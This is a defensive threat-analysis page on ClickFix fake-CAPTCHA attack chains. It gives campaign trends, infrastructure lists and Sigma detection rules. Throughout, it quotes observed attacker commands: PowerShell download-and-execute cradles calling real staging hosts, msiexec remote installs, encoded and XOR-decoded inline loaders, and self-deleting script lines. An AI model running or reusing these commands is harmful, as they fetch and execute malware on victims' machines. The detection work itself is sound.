Detection Chokepoints
  • Chokepoints
  • Attack Chains
  • Trends
  • Framework
  • Contribute
  • Overview
  • Framework
  • Volume
  • Cradles
  • Evasion
  • MSIExec
  • Inline
  • Staging
  • Detections

ClickFix Delivery Chain: Trend Analysis

Data: MHaggis ClickGrab + ClickFix Hunter  ·  Period: Apr 2025 – Apr 2026  ·  493 nightly reports + 2563 domains  ·  Generated: 2026-04-04

21k+
Sites crawled
20k+
Malicious confirmed
2114
IWR/IEX cradles
10424
Base64 obfuscated
1027
MSIExec deliveries
630
Inline payloads (no URL)

Detection Chokepoint Framework

Every ClickFix variant (ClickFix, FileFix, TerminalFix, InstallFix) follows these five stages. The lure changes. The clipboard command changes. The delivery method changes. But the chain doesn't. Each badge maps to the ATT&CK technique you're actually detecting at that stage.

Browser renders lure Fake CAPTCHA / reCAPTCHA page LURE DELIVERY
›
JS → clipboard execCommand("copy") writes cmd CLIPBOARD WRITE
›
Process spawn Run dialog → cmd.exe → PowerShell T1059 EXECUTION
›
Network fetch IWR / IRM / WebClient / Curl T1105 INGRESS TOOL
›
Payload write Script dropped to %TEMP% T1204 USER EXEC
›
Execute + cleanup Payload runs, then self-deletes T1070 CLEANUP

Two behaviors survive every variant rotation: the process spawn (T1059) and the network fetch (T1105). The user opens Run, pastes, hits Enter. That parent→child process relationship is baked into the attack primitive. And until recently, every cradle had to reach out to a staging URL to pull the payload. That's where your detection bets pay off. We'll get to why "until recently" matters below. Full detection logic is on the ClickFix Techniques chokepoint page.

Monthly Volume: Malicious Domain Count

Unique malicious ClickFix domains observed per month from the domain dataset. Volume spikes correlate with specific campaigns. The Nov 2025 surge was driven by the shift-art[.]com MSIExec campaign (669 domains).

Malicious ClickFix domains by month

T1105 Ingress Tool Transfer: Cradle Family Evolution

The network fetch was the unavoidable action. This chart shows how adversaries rotated their download method as defenders tuned IWR/IEX-specific detections, and why that rotation actually validates the chokepoint approach.

Monthly cradle family distribution (PowerShell download method)
Dec 2025 pivot: your IWR detections worked. IWR/IEX drops sharply as WebClient and Curl surge in the same month. That's not coincidence. That's adversaries responding to detection pressure. If you were pattern-matching on iwr|Invoke-WebRequest, congratulations: you forced a rotation. But if that's all you were matching, your coverage just dropped to near-zero.
Mar 2026: IWR came back. After nearly disappearing in Dec–Jan, IWR surged to 27.7% in March. A verifyhumanbot[.]com / SafeAntiBotsNet campaign brought it right back. This is the whole point: cradle rotation is cyclical, not one-directional. The adversary who abandoned IWR in December picked it back up in March because defensive attention had shifted elsewhere. If you built behavioral rules (unusual parent → PowerShell → outbound fetch), you caught it both times. If you built string-match rules, you caught it, lost it, and caught it again, assuming you didn't delete the "obsolete" detection.
The chokepoint didn't move. IWR → WebClient → Curl → IWR again. The download method rotated three times in six months. The detection signal didn't change once: PowerShell process spawned by an unusual parent (explorer.exe, cmd.exe from Run dialog) making an outbound HTTP connection. That's the difference between detecting the tool and detecting the behavior.

Evasion Technique Trends: Where Adversaries Are Adapting

Think of this chart as a conversation between attackers and defenders. Rising lines = defenders forced a change. Flat lines with spikes = a specific campaign tried something, then moved on. The trends tell you which evasion techniques are gaining traction and which were one-off experiments.

Monthly evasion technique prevalence (count of sites using each technique)
Self-delete was a burst, not a trend. 27.4% in Dec → 2.3% Jan → 0% by April. One campaign tried it, others didn't pick it up. It's in the toolkit but it's not the future. If you built file-write-then-delete correlation rules in December, keep them, but the bigger threat is below.
Base64 isn't plateauing. It's accelerating. 19.5% in March, 54.2% in April. If your rules match plaintext iwr https:// strings, you're seeing the encoded version now, not the decoded cradle. Detect the encoding act: [Convert]::FromBase64String piped to iex. Or detect -enc on the command line from an unusual parent. The content is opaque; the execution context isn't.
Mixed-case is dead. POWerShEll, PowErsHeLL: peaked mid-2025, trending to zero. Base64 replaced it as the primary obfuscation. If you shipped case-insensitive regex in 2025, you caught the tail end of a dying technique. Not wasted effort, but not where the action is anymore.

New Cradle Family: MSIExec Package Installation

In November 2025, the ClickFix chokepoint shifted underneath the detection layer. 87% of domains rotated from PowerShell cradles to msiexec /i. Same social engineering invariant, completely different execution chain. MSIExec delivery peaked at 669/767 domains before declining through Q1 2026. The technique shift demonstrates why chokepoint-anchored detection matters: PowerShell-specific rules missed the rotation entirely, but detections built around the clipboard-to-execution invariant still caught the handoff.

The shift-art[.]com campaign drove the surge: 651 domains using fake Cloudflare verification paths. The URL structure alone is worth a detection:

msiexec /i hxxps[://]shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/
Same chokepoint, different binary. msiexec.exe spawning from cmd.exe or Run dialog, fetching an MSI from a non-enterprise URL. That's the same parent→child process execution chokepoint (T1059/T1218) as the PowerShell cradles. The invariant is the process relationship, not the binary name. Oct 18% → Nov 87% → Dec 34% → Jan 24% → Feb 29% → Mar 2%.

WScript/VBS: A Failed Diversification (Dec 2025 – Feb 2026)

Adversaries also tried VBS in the same diversification window. Dec 2025 (21.9%), peaked Jan (46.3%), dead by March (0%). Used CreateObject("WinHttp.WinHttpRequest.5.1") to fetch payloads via WScript. Abandoned fast. EDR catches WScript execution reliably, so this branch got pruned while WebClient and Curl survived. Not every experiment sticks.

Strategic Shift: Inline Payloads Bypassing Network Fetch Detection

Here's the finding that changes the detection calculus: 75% of April 2026 domains have no URL in the clipboard command at all. Up from 28% in August. The payload is entirely inline. The user pastes everything needed, and nothing reaches out to a staging server. Your network-fetch detection? It never fires.

Three techniques are driving this: hex XOR ($k/$d variable patterns with -bxor decoding, 62 instances in March), Base64 -enc (over half of April samples), and direct embedding with no obfuscation at all. The social engineering does double duty. Fake CAPTCHA comments inside the payload reinforce the lure:

powershell -w hidden <# I am not a robot - Cloudflare ID: 8e3f2a #> $k='xK9mP2';$d='4a5b6c...';
$b=[byte[]]@();for($i=0;$i-lt$d.Length;$i+=2){$b+=[byte]("0x"+$d.Substring($i,2))-bxor[byte]$k[$i%$k.Length]};
iex([Text.Encoding]::UTF8.GetString($b))
Your network-fetch detection covers half the threat now. 46% of March and 75% of April domains skip the remote fetch entirely. You need a parallel detection for the decode-and-execute pattern: unusual parent → PowerShell with -enc, -bxor operations, or [Convert]::FromBase64String piped to iex. Neither detection alone is sufficient anymore. Run both.

Monthly no-URL trend: Aug 28% → Sep 32% → Oct 32% → Nov 6% → Dec 19% → Jan 44% → Feb 30% → Mar 47% → Apr 75%.

Port 5506 C2 Infrastructure Cluster

333 domains call back to port 5506 across 14 IPs in a few /24 ranges. One operator, one port, zero legitimate services using 5506. This is the kind of infrastructure fingerprint that makes network detection easy.

Any outbound connection to port 5506 from a workstation is suspicious. Port 5506 is not used by any common legitimate service. Top nodes: 198[.]13[.]158[.]127:5506 (186 domains), 178[.]17[.]59[.]40:5506 (64), 78[.]40[.]209[.]164:5506 (40).

Staging Infrastructure

Where the payloads actually live. CDN-hosted staging defeats domain-reputation blocking because the infrastructure is legitimate web hosting. You can't blocklist raw.githubusercontent.com without breaking your developers' workflows. Detection has to be contextual. A network appliance fetching a shell script from GitHub and piping it to bash is anomalous regardless of the domain.

Domain / IP Payloads Type Blind spot
irp.cdn-website.com 468 CDN Domain reputation blocklists ineffective (legitimate CDN provider)
Hosting CDN Legitimate content delivery network
Registered -
Status Active
yogasitesdev.wpengine.com 116 - Managed WP hosting. Likely compromised; blocklist removes legitimate sites
Country US
Hosting Managed Managed hosting (likely compromised)
Registered -
Status Active
aatox.com 83 - -
Hosting Unknown
Registered -
Status Unknown
80.253.249.186 43 IP -
Hosting Unknown
Status Unknown
95.164.53.214 16 IP -
Hosting Unknown
Status Unknown
91.247.36.3 4 IP -
Hosting Unknown
Status Unknown
sitecariri.com.br 2 - -
Country BR
Hosting Unknown
Registered -
Status Unknown
fundacion-cannabis-argentina.org 2 - -
Country AR
Hosting Unknown
Registered -
Status Unknown
ghenvironment.com 2 - -
Hosting Unknown
Registered -
Status Unknown
cmparazinho.rn.gov.br 2 - -
Country BR
Hosting Unknown
Registered -
Status Unknown
shift-art.com 651 - -
Hosting Unknown
Registered -
Status Active
ghost.nestdns.com 137 - -
Hosting Unknown
Registered -
Status Active
144.31.47.76 140 IP -
Hosting Unknown
Status Active
inkbookwriters.com 112 - -
Hosting Unknown
Registered -
Status Active
198.13.158.127:5506 186 IP -
Hosting Unknown
Status Active
178.17.59.40:5506 64 IP -
Hosting Unknown
Status Active
78.40.209.164:5506 40 IP -
Hosting Unknown
Status Active
penguinpublishers.org 56 - -
Hosting Unknown
Registered -
Status Unknown
bfacollege.co.in 54 - -
Country IN
Hosting Unknown
Registered -
Status Unknown
pizzabyte.com.au 44 - -
Country AU
Hosting Unknown
Registered -
Status Unknown
raw.githubusercontent.com 28 CDN Domain reputation blocklists ineffective (legitimate CDN provider)
Hosting CDN Legitimate content delivery network
Registered -
Status Active

Domain names and observation counts are from ClickGrab nightly reports. Hosting type is only classified when verifiable from the domain itself (e.g., *.cdn-website.com = CDN, *.wpengine.com = managed hosting). IP enrichment (ASN, geo, registrar) requires running the enrichment pipeline. Unverified entries show "Unknown."

CDN-hosted staging defeats domain blocking. irp.cdn-website.com appeared in 411 payload fetches. This is a legitimate CDN used by website builders. Blocking it would impact legitimate sites. Detection must shift to behavioral signals (PowerShell → network → unusual domain path) rather than domain-reputation lookup.

Detection Recommendations

Each recommendation maps to the ATT&CK technique it detects. The ones at the top survived every cradle rotation, every obfuscation pivot, and every infrastructure change in this dataset. The ones lower down are still valuable but more brittle.

T1059
Detect unusual parent → PowerShell spawn Correlate explorer.exe or cmd.exe (from Run dialog) spawning powershell.exe with a window-hidden flag. This signal is constant regardless of cradle family rotation. See sigma-rules/clickfix/hunt.yml.
title: Browser or Explorer Spawning Hidden PowerShell
logsource:
  category: process_creation
  product: windows
detection:
  selection_interp:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cmd.exe'
      - '\wscript.exe'
      - '\mshta.exe'
  selection_parent:
    ParentImage|endswith:
      - '\explorer.exe'
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
  selection_hidden:
    CommandLine|contains:
      - '-W Hidden'
      - '-WindowStyle Hidden'
      - '-NoProfile'
  condition: selection_interp and selection_parent and selection_hidden
level: high
powershell.exe -w hidden -nop -ep bypass -c "iex(iwr 'https://aatox.com/a.ps1' -UseBasicParsing)"
Observed: 2025-09-03
cmd.exe /c start /min powershell -w hidden -nop -c "(New-Object Net.WebClient).DownloadString('https://95.164.53.214/b.ps1') | iex"
Observed: 2025-10-31
T1059
Cradle-agnostic network fetch detection Move from IWR/IRM string matching to: PowerShell process → outbound HTTP/HTTPS to non-Microsoft, non-CDN domain → path ends in .ps1/.txt/.hta. This catches IWR, Curl, WebClient, and any future cradle. Update Sigma rules to use process+network correlation, not command-string pattern matching.
title: PowerShell Outbound Fetch of Script Payload
logsource:
  category: network_connection
  product: windows
detection:
  selection_proc:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_outbound:
    Initiated: 'true'
    DestinationPort:
      - 80
      - 443
  filter_internal:
    DestinationIp|cidr:
      - '10.0.0.0/8'
      - '172.16.0.0/12'
      - '192.168.0.0/16'
  filter_ms:
    DestinationHostname|endswith:
      - '.microsoft.com'
      - '.windows.com'
      - '.azure.com'
  condition: selection_proc and selection_outbound and not (filter_internal or filter_ms)
level: high
# Pair with file_event rule matching *.ps1/*.txt/*.hta writes by the same ProcessGuid.
IWR / IEX
powershell -ep bypass -w hidden -c "iex(iwr 'https://aatox.com/stage2.ps1' -UseBasicParsing)"
Observed: 2025-08-14
powershell.exe -w hidden -nop -c "IEX (iwr -Uri 'https://irp.cdn-website.com/files/uploaded/3b7f1c/run.ps1' -UseBasicParsing).Content"
Observed: 2025-10-22
IRM / IEX
powershell -w hidden -nop -ep bypass -c "iex(irm 'https://80.253.249.186/loader.ps1')"
Observed: 2025-05-03
WebClient
(New-Object Net.WebClient).DownloadString('https://yogasitesdev.wpengine.com/wp-content/uploads/a.ps1') | iex
Observed: 2025-12-03
$wc=New-Object Net.WebClient; iex $wc.DownloadString('https://irp.cdn-website.com/files/uploaded/9d4e/payload.ps1')
Observed: 2025-11-18
Curl
curl.exe -s https://95.164.53.214/payload.ps1 | iex
Observed: 2026-01-08
powershell -w hidden -nop -c "curl.exe -UseBasicParsing https://aatox.com/stg.ps1 | iex"
Observed: 2026-02-14
T1027
Detect Base64 decode + execute [Convert]::FromBase64String or [Text.Encoding]::UTF8.GetString followed immediately by iex / Invoke-Expression. The encoding act itself is detectable even when the decoded content is not. This covers the 18× Base64 increase seen in Jan 2026.
title: PowerShell Base64 Decode Piped to Invoke-Expression
logsource:
  category: process_creation
  product: windows
detection:
  selection_proc:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_decode_exec:
    CommandLine|contains|all:
      - 'FromBase64String'
      - 'iex'
  selection_enc:
    CommandLine|contains:
      - '-EncodedCommand'
      - '-enc '
      - '-e '
  condition: selection_proc and (selection_decode_exec or selection_enc)
level: high
Encoded command
powershell.exe -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAn...
Decoded
$c=New-Object Net.WebClient; iex $c.DownloadString('https://aatox.com/run.ps1')
Observed: 2026-01-22
Encoded command
powershell -w 1 -nop -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMA...
Decoded
IEX(New-Object Net.WebClient).DownloadString('https://irp.cdn-website.com/files/uploaded/7c2a/stage2.ps1')
Observed: 2026-02-01
T1070
File write → execute → delete correlation (new Dec 2025) Self-delete appeared at scale in December 2025. Correlate: script written to %TEMP% → process execution from that path → file deletion within seconds. If artifact-based rules are your only coverage, they're now blind after execution completes. Use process execution telemetry, not file presence.
title: Script Self-Delete After Execution From TEMP
# Correlation: file_event (write) + process_creation + file_event (delete) on same ProcessGuid/TargetFilename within 10s.
logsource:
  product: windows
detection:
  file_write:
    EventID: 11          # Sysmon File Created
    TargetFilename|contains:
      - '\Temp\'
      - '\AppData\Local\Temp\'
    TargetFilename|endswith:
      - '.ps1'
      - '.bat'
      - '.vbs'
      - '.hta'
  process_exec:
    EventID: 1           # Sysmon Process Create
    Image: '%file_write.TargetFilename%'
  file_delete:
    EventID: 23          # Sysmon File Deleted
    TargetFilename: '%file_write.TargetFilename%'
  condition: file_write | followed_by process_exec | followed_by file_delete within 10s
level: high
Start-Sleep -Seconds 2; Remove-Item -Path $MyInvocation.MyCommand.Path -Force
Observed: 2025-12-19
$p=$MyInvocation.MyCommand.Path; Start-Sleep 1; Remove-Item $p -Force -ErrorAction SilentlyContinue
Observed: 2026-01-05
INFRA
CDN staging: pivot from domain blocking to path-pattern detection irp.cdn-website.com is a legitimate CDN. Block it and you break legitimate sites. Instead, alert on PowerShell fetching from *.cdn-website.com paths matching /files/uploaded/*.ps1. Or use JA4/TLS fingerprinting on the outbound connection rather than the destination hostname.
title: PowerShell Fetching Script From CDN Uploads Path
# Path-based detection: keep the CDN reachable for legitimate use, catch the staging pattern.
logsource:
  category: proxy
detection:
  selection_client:
    c-useragent|contains:
      - 'WindowsPowerShell'
      - 'Microsoft.PowerShell'
  selection_host:
    r-dns|endswith: '.cdn-website.com'
  selection_path:
    cs-uri-path|contains: '/files/uploaded/'
    cs-uri-path|endswith:
      - '.ps1'
      - '.txt'
      - '.hta'
  condition: selection_client and selection_host and selection_path
level: high
https://irp.cdn-website.com/files/uploaded/38ef2b/setup.ps1
Observed: 2025-11-04
https://irp.cdn-website.com/files/uploaded/9d4e22/loader.ps1
Observed: 2025-09-17
T1218
Detect MSIExec fetching packages from non-enterprise URLs msiexec.exe with /i http where the URL is not a known enterprise software source, spawned from cmd.exe or explorer.exe (Run dialog). Covers the 1,027-domain MSIExec delivery campaign that peaked at 87% in Nov 2025.
msiexec /i hxxps[://]shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/
Peak-campaign pattern. Long "verification" path, random CustomerID, cloudflare-themed lure.
msiexec /i hxxps[://]verifyhumanbot[.]com/pkg/update.msi /quiet /norestart
Silent install with /quiet /norestart. No prompts, no dialogs.
msiexec /i hxxp[://]198[.]13[.]158[.]127:5506/i.msi
Port-5506 direct-IP staging. Bypasses domain reputation. Raw IP + nonstandard port is the signal.
title: MSIExec Installing Package From Remote URL via Run Dialog
logsource:
  category: process_creation
  product: windows
detection:
  selection_proc:
    Image|endswith: '\msiexec.exe'
  selection_remote:
    CommandLine|contains:
      - '/i http://'
      - '/i https://'
  selection_parent:
    ParentImage|endswith:
      - '\cmd.exe'
      - '\explorer.exe'
      - '\powershell.exe'
  filter_enterprise:
    CommandLine|contains:
      - 'microsoft.com'
      - 'windowsupdate.com'
      - 'office.com'
  condition: selection_proc and selection_remote and selection_parent and not filter_enterprise
level: high
T1059
Detect inline payload decode-and-execute PowerShell with -enc flag or XOR decode operations (-bxor, [byte], [char]) spawned from unusual parent (Run dialog chain). Also: [Convert]::FromBase64String followed by iex. Covers the 28% → 75% growth in inline payloads that skip the network fetch entirely. Run alongside network-fetch detection. Both are needed for full coverage.
powershell -NoP -W Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGEAZAAuAGUAeABhAG0AcABsAGUALwBwAC4AcABzADEAIgApAA==
Classic -EncodedCommand dropper. Base64 decodes to an IEX + DownloadString cradle. The encoding is the signal, not the content.
powershell -c "$b=[Convert]::FromBase64String('...'); iex ([System.Text.Encoding]::UTF8.GetString($b))"
FromBase64String piped to iex inline. No network fetch. Entire payload ships in the clipboard paste.
powershell -c "$k=0x13; $e=@(0x42,0x17,0x26,...); -join($e|%{[char]($_ -bxor $k)})|iex"
XOR-decode loop. Single-byte key, byte array, -bxor reduction, piped to iex. Pure in-memory decode.
title: PowerShell Inline Decode-and-Execute (No Network Fetch)
logsource:
  category: process_creation
  product: windows
detection:
  selection_proc:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_encoded:
    CommandLine|contains:
      - '-EncodedCommand'
      - '-enc '
      - '-e '
  selection_xor:
    CommandLine|contains|all:
      - '-bxor'
      - '[char]'
  selection_b64_iex:
    CommandLine|contains|all:
      - 'FromBase64String'
      - 'iex'
  selection_parent:
    ParentImage|endswith:
      - '\explorer.exe'
      - '\cmd.exe'
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
  condition: selection_proc and selection_parent and (selection_encoded or selection_xor or selection_b64_iex)
level: high
# Run alongside the cradle-agnostic network fetch rule. Both are needed.
Detection Chokepoints — community detection engineering resource GitHub Contribute MITRE ATT&CK